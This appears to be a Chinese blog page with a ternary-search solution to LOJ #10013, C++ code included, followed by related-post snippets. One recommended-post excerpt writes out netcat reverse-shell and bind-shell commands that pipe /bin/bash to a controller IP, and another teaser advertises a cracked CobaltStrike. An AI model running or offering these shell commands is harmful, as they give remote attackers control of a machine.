题目

#10013. 「一本通 1.2 例 3」曲线

解析

首先这个题保证了所有的二次函数都是下凸的, \(F(x)=max\{s_i(x)\}i=1...n\)在每一个x上对应的最大的y,我们最后得到的还是一个凸函数



这个题比较特殊的一点是函数可能退化为一次,但退化为一次后的函数还是凸函数

代码

然后就可以愉快的三分了

#include <bits/stdc++.h>
using namespace std; const int N = 1e5 + 10;
const double EPS = 0.000000001; int t, n; double a[N], b[N], c[N];
double l, r, lm, rm;
double data[N]; double f(double x) {
double ret = -0x3f3f3f3f;
for (int i = 1; i <= n; ++i) ret = max(ret, a[i] * x * x + b[i] * x + c[i]);
return ret;
} int main() {
cin >> t;
while (t--) {
cin >> n;
for (int i = 1; i <= n; ++i)
cin >> a[i] >> b[i] >> c[i];
l = 0.0, r = 1000.0;
while (r - l > EPS) {
lm = l + (r - l) / 3, rm = r - (r - l) / 3;
if (f(lm) > f(rm)) l = lm;
else r = rm;
}
printf("%.4lf\n", f(l));
}
}

loj#10013 曲线(三分)的更多相关文章

  1. 题解 yzoj1663: 愤怒的牛(二分) yzoj1662: 曲线(三分)

    话说二分和三分的题还没有整理过,就趁这两题来整理下笔记 先讲讲关于二分,对于二分的具体边界长期以来对我来说都是个玄学问题,都是边调边拍改对的.思路大体是确定左边界l,和有边界r,判断满足条件缩小范围. ...

  2. LOJ P10013 曲线 题解

    每日一题 day38 打卡 Analysis 这道题运用的是三分,就是说具有一定的单调性,找最大最小值,然后和二分基本类似,就是说特性就是说当前两个点比较,较优的点和最优点在相对了较差点的同侧,就是说 ...

  3. 【LOJ】 #2015. 「SCOI2016」妖怪

    题解 这道题教会我很多东西,虽然它是个傻逼三分 1.long double的运算常数是巨大的 2.三分之前的界要算对!一定要算准,不要想一个直接写上! 3.三分100次也就只能把精度往里推20多位,可 ...

  4. csp-s 考前刷题记录

    洛谷 P2615 神奇的幻方 洛谷 P2678 跳石头 洛谷 P1226 [模板]快速幂||取余运算 洛谷 P2661 信息传递 LOJ P10147 石子合并 LOJ P10148 能量项链 LOJ ...

  5. loj#2015. 「SCOI2016」妖怪 凸函数/三分

    题目链接 loj#2015. 「SCOI2016」妖怪 题解 对于每一项展开 的到\(atk+\frac{dnf}{b}a + dnf + \frac{atk}{a} b\) 令$T = \frac{ ...

  6. loj题目总览

    --DavidJing提供技术支持 现将今年7月份之前必须刷完的题目列举 完成度[23/34] [178/250] 第 1 章 贪心算法 √ [11/11] #10000 「一本通 1.1 例 1」活 ...

  7. LOJ 一本通一句话题解系列:

    第一部分 基础算法 第 1 章 贪心算法 1):「一本通 1.1 例 1」活动安排:按照结束时间排序,然后扫一遍就可以了. 2):「一本通 1.1 例 2」种树:首先要尽量的往区间重叠的部分种树,先按 ...

  8. 运动曲线提升CSS动画效果

    原文链接 译文\译者鞠大宝 先有UI动画,然后才会有好的UI动画.好的动画会让人惊叹“哇哦!”——因为页面看上去很流畅.很漂亮,最重要的是,自然,一点都不会让人觉得不和谐或者僵硬死板.如果你经常逛Dr ...

  9. 【单峰函数,三分搜索算法(Ternary_Search)】UVa 1476 - Error Curves

    Josephina is a clever girl and addicted to Machine Learning recently. She pays much attention to a m ...

随机推荐

  1. nc 命令转发bash

    反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...

  2. 【Python】解析Python中的文件操作

    目录结构: contents structure [-] 简介 Python中的文件类型 内置函数的文件操作 open()函数 Mode 创建文本文件 读取文本文件 循环文件对象 关闭文件 With语 ...

  3. curl 参数配置详解

    第一类:对于下面的这些option的可选参数,value应该被设置一个bool类型的值: CURLOPT_AUTOREFERER当根据Location:重定向时,自动设置header中的Referer ...

  4. sails0.12相关命令

    sails最新版本是1.2.3 如果要创建0.12的项目要使用以下命令 npm install sails@0.12 -g sails -vsails new myweb1npm audit fixc ...

  5. CobaltStrike3.14破解

    原文发布在:https://bithack.io/forum/310 8月6日已更新 之前发的是5月2号破解的,并且官方作者的exit暗桩没有去掉.看到很多人用此版本遇到问题,抽空修复了下bug.此版 ...

  6. Docker-Compose简介及常用命令

    1.Docker-Compose简介 Docker-Compose项目是Docker官方的开源项目,负责实现对Docker容器集群的快速编排.Docker-Compose将所管理的容器分为三层,分别是 ...

  7. 【错误解决】UnicodeDecodeError: 'gbk' codec can't decode byte 0xad in position 840: illegal multibyte sequence

    原文来源:https://www.zhihu.com/question/22699590 编码问题错误,读入文件的时候指定编码即可. with open(fname, encoding='utf-8' ...

  8. Qt之如何自定义model

    Qt之如何自定义model https://blog.csdn.net/wei375653972/article/details/86592209

  9. NuxtJS实战,一个博客系统

    前言 这个项目诞生于17年5月,距今已有两年多了,在这两年期间经历了很多变更,从简单到复杂,又从复杂到简单,并且以后一直会保持这种简单状态.最近迎来了一次更新,因此特意分享一下.虽然只有我一个人使用( ...

  10. 191128A学习入门-典型信号,单位冲激信号

    之所以研究典型信号是因为这些信号可以组合成复杂的信号.而根据线性时不变系统的性质,先把复杂信号拆解成多个简单信号的组合,那么每个简单信号通过这个系统后的输出累加等于原来的输出. 单位冲激信号,单位阶跃 ...